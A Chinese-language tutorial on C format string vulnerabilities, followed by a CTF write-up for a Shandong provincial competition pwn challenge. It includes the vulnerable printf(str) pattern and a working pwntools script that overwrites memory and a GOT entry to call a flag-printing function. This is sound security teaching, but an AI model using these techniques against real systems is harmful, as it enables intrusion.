一、什麼是格式化字符串漏洞?
格式化字符串:printf("格式化字符串",參數...)
觸發條件:觸發格式化字符串漏洞的函數主要有:printf、sprintf、fprintf、prin等C庫中print家族的函數。
特別要注意的是%n這個格式化字符串,它的功能是將%n之前打印出來的字符個數,賦值給一個變量。
二、漏洞原因:
1.printf正確用法:
#include <stdio.h>
int main()
{
char str[10];
scanf("%s",str);
printf("%s",str);
return 0;
}
2.printf錯誤用法:
#include <stdio.h>
int main()
{
char str[10];
scanf("%s",str);
printf(str);
return 0;
}
程序將字符串的輸入權交給了用戶,那麼如果我們的輸入爲%x等等。。而printf的內部有個指針,就把%x誤認爲要取的相應參數的值。
例題:第八屆山東省大學生網絡安全技能大賽--pwn1
dword_804A064限制循環只能執行爲1次,但裏面有格式化字符串漏洞printf。
同時,發現了catflag的函數,但要求dword_804A060爲0x2019時纔可以。
所以我們的思路是:
1.通過printf格式化字符串漏洞,先改變dword_804A064的值使循環多次執行
2.再去改寫dword_804A060的值爲0x2019
3.最後改寫puts的地址爲sub_8048696,去catflag。
這裏使用pwntools下的fmtstr_payload函數,這個函數的作用是用來生成格式化字符串漏洞寫內存的payload。
from pwn import *
context.log_level = 'debug'
cn = remote('172.29.1.28',9999)
#cn = process('pwn_MinZhu')
print 'next'
cn.recvuntil('Key:')
cn.sendline('xNd9y6')
print 'next'
cn.recvuntil('your msg:')
payload = fmtstr_payload(4,{0x0804A064:0x3})
cn.sendline(payload)
payload = fmtstr_payload(4,{0x0804A060:0x2019})
cn.sendline(payload)
payload = fmtstr_payload(4,{0x804a01c:0x08048696})
cn.sendline(payload)
cn.interactive()
#xNd9y6